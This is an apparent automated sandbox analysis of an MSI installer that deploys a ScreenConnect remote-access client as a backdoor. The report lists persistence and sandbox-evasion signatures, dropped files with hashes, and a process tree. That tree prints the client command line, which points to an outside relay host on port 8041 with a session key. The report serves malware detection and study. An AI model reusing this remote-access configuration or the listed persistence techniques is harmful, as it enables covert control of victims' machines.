Analysis

  • max time kernel
    148s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/08/2026, 12:26

General

  • Target
    data.msi
  • Size 12.8MB
  • Sample260813-pl98dazapd
  • SHA256 1a6a57e16626d4bfbbb84ab603083e46a536b5d101861ca7e5fe6947041a8938
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\data.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4332
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3772
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 52D6E82A39B3B8BEA3AB55920962FEBD C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3720
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBEB7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240697437 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5092
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1516
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0FB1BC85054D7F0F909DEC11E519C41B
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5068
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DBAE6CCB1FE0AD5C7B538F22B0EA287B E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4656
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3724
    • C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=7ff6dac17cf9cb62e6c2e46946d1e907.clafma.org&p=8041&s=f93fcfd2-ceea-40c1-bc42-298736d3fc80&k=BgIAAACkAABSU0ExAAgAAAEAAQDRatufx%2f7HUQav2puZ06j%2bj3738Wxpy%2fncIf5%2bZmiCLxUE1DRCaaroPv6JA2wTqHfo7%2bgaw%2fWjxCYQBFxZC0Yc%2fjNSrdznyRBy7TTD0ls%2boGQhZzU1PXpwV4kUNxvx9tooOQumfPiUXsItuZWBl3HNdTS6vr5q5KovSxlV3N90eh7SooEf%2bJlpLnk37xI%2fy24ip3UNwnbW2NIq6QwDVoHAC8TjBOkRIIOVmpc%2fo05ee3djOOJgpFW75L68wDAANh70e2xCOgIlG4sh6BhnCABFb8yJw8lftKPY13GkDQlestBaP8IjCjMsbSYfQ7pSggc5aIoSbu9R1Mw%2bMcpp93TF&c=data&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5000
      • C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe" "RunRole" "cc4565d9-248d-44d8-bfc7-d7c169e793f7" "User"
        2⤵
        • Executes dropped EXE
        PID:2352
      • C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe" "RunRole" "eb44ebeb-514c-4918-9420-d40bae3aa730" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1264
    • C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=7ff6dac17cf9cb62e6c2e46946d1e907.clafma.org&p=8041&s=f93fcfd2-ceea-40c1-bc42-298736d3fc80&k=BgIAAACkAABSU0ExAAgAAAEAAQDRatufxf7HUQav2puZ06jbj3738WxpyfncIf5bZmiCLxUE1DRCaaroPv6JA2wTqHfo7bgawfWjxCYQBFxZC0YcfjNSrdznyRBy7TTD0lsboGQhZzU1PXpwV4kUNxvx9tooOQumfPiUXsItuZWBl3HNdTS6vr5q5KovSxlV3N90eh7SooEfbJlpLnk37xIfy24ip3UNwnbW2NIq6QwDVoHAC8TjBOkRIIOVmpcfo05ee3djOOJgpFW75L68wDAANh70e2xCOgIlG4sh6BhnCABFb8yJw8lftKPY13GkDQlestBaP8IjCjMsbSYfQ7pSggc5aIoSbu9R1MwbMcpp93TF&c=data&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:2860
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2860 -s 1308
        2⤵
        • Program crash
        PID:3280
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2860 -ip 2860
      1⤵
        PID:3632

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e592707.rbs

            • Path C:\Config.Msi\e592707.rbs
            • Size 214KB
            • SHA256 1b42279a2a2aff5b806299d231f694a1a9d0f58ae7f528722643f3aeb6b9974a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.Override.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\Client.Override.resources
            • Size 70KB
            • SHA256 72495ba2ac6aea235935677a5d18a362edebe405ec73b83a08239c70d8a5d8fe
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\Client.resources
            • Size 33KB
            • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.Client.dll
            • Size 202KB
            • SHA256 ea1ba32647cf18942e5d26e4d80ade8d25db7984555f55c378c9ad0d33c11271
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.dll
            • Size 77KB
            • SHA256 84d0a414d03ab35f65cb149229ac2a64cde9b20f3cb2aba9099c71510a749fe4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 46457d98fb1c53bbccb66c1015eb831355f30c8bf8e6f25cf3183aac2a5fd8ab
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.Core.dll
            • Size 549KB
            • SHA256 6928d272bdcfb0a1739d4ffee9a1a6e230880a3ce954233a83fdc70024c1e7ad
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.Windows.dll
            • Size 1.7MB
            • SHA256 fb81fc9354d12d15f125492c74f766bb538ddc1f9748735b0bdfbf6e945175c6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 3b150443fbb196446479367dc44888488045ae8eef9b872406656cf33ace2556
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 838KB
            • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\app.config
            • Size 1KB
            • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (0f612bfdf62ce863)\system.config
            • Size 973B
            • SHA256 f36978eeb40a33b5db2d7ee96d4ba5c8b5b5ce688b45ca23b832d865c1843b1c
            • MD5 SHA1 SHA512 TLSH

            MSIBEB7.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSIBEB7.tmp
            • Size 1.0MB
            • SHA256 9571cbea87aa83be41b2e63a5cd62498da91793c4fa1fc38baa07a73b1c2d02c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIBEB7.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIBEB7.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 613af5bfae8fb43f24c223c3aef411f532eaaf223f9f09a1dad0a4f16fb3672b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIBEB7.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 404b02b47b8f6fe72dd5957694810dddd3d760f530b90aade0eece30fe1950e4
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIBEB7.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 0b87dd18e02ce7c363ebe016d81ebfab230230f9821554015c0a3505bf021d6f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI2F06.tmp

            • Path C:\Windows\Installer\MSI2F06.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            e592706.msi

            • Path C:\Windows\Installer\e592706.msi
            • Size 12.8MB
            • SHA256 1a6a57e16626d4bfbbb84ab603083e46a536b5d101861ca7e5fe6947041a8938
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 1886c5a67083c68e040d64de3199ad93e0857d5d199d0e75824fc78eb3a40d0a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {dfd813cd-0656-4973-9135-928b176671c5}_OnDiskSnapshotProp

            • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{dfd813cd-0656-4973-9135-928b176671c5}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 a329346c00e5e4d3cade3becf23fafeb51f398e5af599f80d8658dccc7f478fe
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1264-133-0x000000001D330000-0x000000001D420000-memory.dmp

            memory/2352-126-0x0000000002C90000-0x0000000002CC6000-memory.dmp

            memory/2352-131-0x0000000001490000-0x00000000014A8000-memory.dmp

            memory/2352-130-0x0000000001440000-0x0000000001458000-memory.dmp

            memory/2352-129-0x000000001C130000-0x000000001C2B8000-memory.dmp

            memory/2352-128-0x000000001BDF0000-0x000000001BF9C000-memory.dmp

            memory/2352-127-0x000000001BBB0000-0x000000001BC3E000-memory.dmp

            memory/2352-125-0x0000000000B30000-0x0000000000BC8000-memory.dmp

            memory/2860-87-0x00000000052F0000-0x000000000537E000-memory.dmp

            memory/5000-111-0x0000000004250000-0x0000000004286000-memory.dmp

            memory/5000-91-0x0000000004000000-0x00000000041AC000-memory.dmp

            memory/5000-107-0x0000000004200000-0x0000000004250000-memory.dmp

            memory/5000-112-0x0000000004330000-0x00000000043C2000-memory.dmp

            memory/5000-116-0x0000000004520000-0x00000000045F5000-memory.dmp

            memory/5000-114-0x0000000004290000-0x00000000042D1000-memory.dmp

            memory/5000-77-0x0000000003B90000-0x0000000003BA8000-memory.dmp

            memory/5092-26-0x0000000006090000-0x000000000611E000-memory.dmp

            memory/5092-18-0x0000000005FC0000-0x0000000005FEE000-memory.dmp

            memory/5092-22-0x0000000005FF0000-0x0000000005FFA000-memory.dmp

            memory/5092-30-0x0000000006320000-0x00000000064CC000-memory.dmp

            memory/5092-31-0x0000000006A90000-0x000000000704A000-memory.dmp